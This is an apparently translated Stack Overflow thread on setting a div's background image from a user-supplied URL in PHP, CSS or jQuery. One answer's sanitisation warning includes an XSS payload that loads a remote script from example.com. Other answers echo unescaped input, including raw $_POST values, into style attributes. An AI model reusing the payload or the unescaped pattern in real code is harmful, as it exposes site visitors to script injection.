12

我有一个徽标 div，我想使用我的徽标图像作为背景，例如：

.logo {
    background: #FFF url(images/logo.jpg);
}

但是，在我脚本的设置页面上，我希望有一个文本输入字段来指定背景图像的图像 URL。

如何将此 div 的背景图像设置为输入的图像 URL 而无需执行以下操作：

<div><img src="/images/logo.jpg" /></div>

（脚本是用PHP编写的）

4

4 回答 4

33

这是动态设置背景图像的两个选项。

  1. 将嵌入的样式表放入文档的<head>：

    <style type="text/css">
.logo {
   background: #FFF url(<?php echo $variable_holding_img_url; ?>);
}
</style>

  2. 内联定义background-imageCSS 属性：

    <div style="background-image: url(<?php echo $varable_holding_img_url; ?>);">...</div>

注意：确保在将输入保存到数据库之前对其进行清理（参见Bobby Tables）。确保它不包含 HTML 或其他任何内容，仅包含有效的 URL 字符、转义引号等。如果不这样做，攻击者可以将代码注入页面：

"> <script src="http://example.com/xss-attack.js"></script> <!--
于 2012-07-03T03:41:04.143 回答
6 
<input type="text" class="inputContent" />
<script type="text/javascript">
    var inputC = $('input.inputContent').val();
    $('body').css('background', 'url(' + inputC + ')');
</script>

那完全是 js 和 jQuery，因为我不懂 PHP，但它是一个解决方案！

于 2012-07-03T03:39:19.737 回答
3

您要么需要从 PHP 脚本（有些高级）生成 css，要么使用内联样式来实现这一点。前任：

<div style="background-image: <?php echo $_POST['whateverjpg']; ?>" >
//blah
</div>

这是非常不安全的，但我能给出的最简洁的答案..

于 2012-07-03T03:06:25.737 回答
2

我认为您可以使用此处给出的 javascript 动态设置背景图像。

document.getElementById("xyz").style.backgroundImage="your path";

如果您不想使用 javascript，为什么不能使用 inlinestyle属性。
前任

<div style="background-image: url(xyz)"></div>
于 2012-07-03T03:02:26.027 回答